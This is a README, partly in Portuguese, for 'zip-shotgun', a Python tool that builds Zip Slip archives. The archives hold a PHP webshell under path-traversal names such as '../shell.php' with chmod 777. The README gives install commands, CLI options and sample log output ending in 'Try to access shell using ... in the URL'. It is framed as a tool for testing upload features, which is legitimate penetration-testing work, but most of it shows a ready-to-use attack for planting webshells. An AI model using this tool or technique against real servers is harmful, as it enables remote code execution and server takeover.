jpiechowka/zip-shotgunScript utilitário para testar a funcionalidade de upload de arquivos zip (e possível extração de arquivos zip) quanto a vulnerabilidades (também conhecido como Zip Slip)
Script utilitário para testar a funcionalidade de upload de arquivos zip (e possível extração de arquivos zip) quanto a vulnerabilidades (também conhecido como Zip Slip). A ideia para este script vem deste post no Silent Signal Techblog - Compressed File Upload And Command Execution e do OWASP - Test Upload of Malicious Files
O Snyk.io tem um relatório sobre como isso funciona: Zip Slip vulnerability e um repositório GitHub com bibliotecas vulneráveis em diferentes linguagens: Snyk.io Zip Slip github repo
Há também um ótimo vídeo do LiveOverflow esclarecendo as vulnerabilidades Zip Slip e Zipperdown: Critical .zip vulnerabilities? - Zip Slip and ZipperDown
Este script criará um arquivo que contém arquivos com "../" no nome. Ao extrair, isso pode fazer com que os arquivos sejam extraídos para diretórios anteriores. Pode permitir que um atacante extraia shells para diretórios que podem ser acessados pelo navegador da web.
A webshell padrão é a webshell PHP do wwwolf e todo o crédito vai para WhiteWinterWolf. A fonte está disponível AQUI
Instale usando pip do Python (Python 3 necessário)
pip3 install zip-shotgun --upgrade
Clone o repositório git e instale
git clone https://github.com/jpiechowka/zip-shotgun.git
Execute a partir do diretório raiz do repositório clonado (onde o arquivo setup.py está localizado)
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version Show the version and exit.
-c, --directories-count INTEGER
Count of how many directories to go back
inside the zip file (e.g 3 means that 3
files will be added to the zip: shell.php,
../shell.php and ../../shell.php where
shell.php is the name of the shell you
provided or randomly generated value
[default: 16]
-n, --shell-name TEXT Name of the shell inside the generated zip
file (e.g shell). If not provided it will be
randomly generated. Cannot have whitespaces
-f, --shell-file-path PATH A file that contains code for the shell. If
this option is not provided wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) php shell will be added
instead. If name is provided it will be
added to the zip with the provided name or
if not provided the name will be randomly
generated.
--compress Enable compression. If this flag is set
archive will be compressed using DEFALTE
algorithm with compression level of 9. By
default there is no compression applied.
-h, --help Show this message and exit.
Usando todas as opções padrão
zip-shotgun archive.zip
Parte da saída do script
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
Usando opções padrão e ativando a compressão para o arquivo
zip-shotgun --compress archive.zip
Parte da saída do script
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
Usando opções padrão, mas alterando o número de diretórios para retroceder no arquivo para 3
zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
O script escreverá 3 arquivos no total no arquivo
Parte da saída do script
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL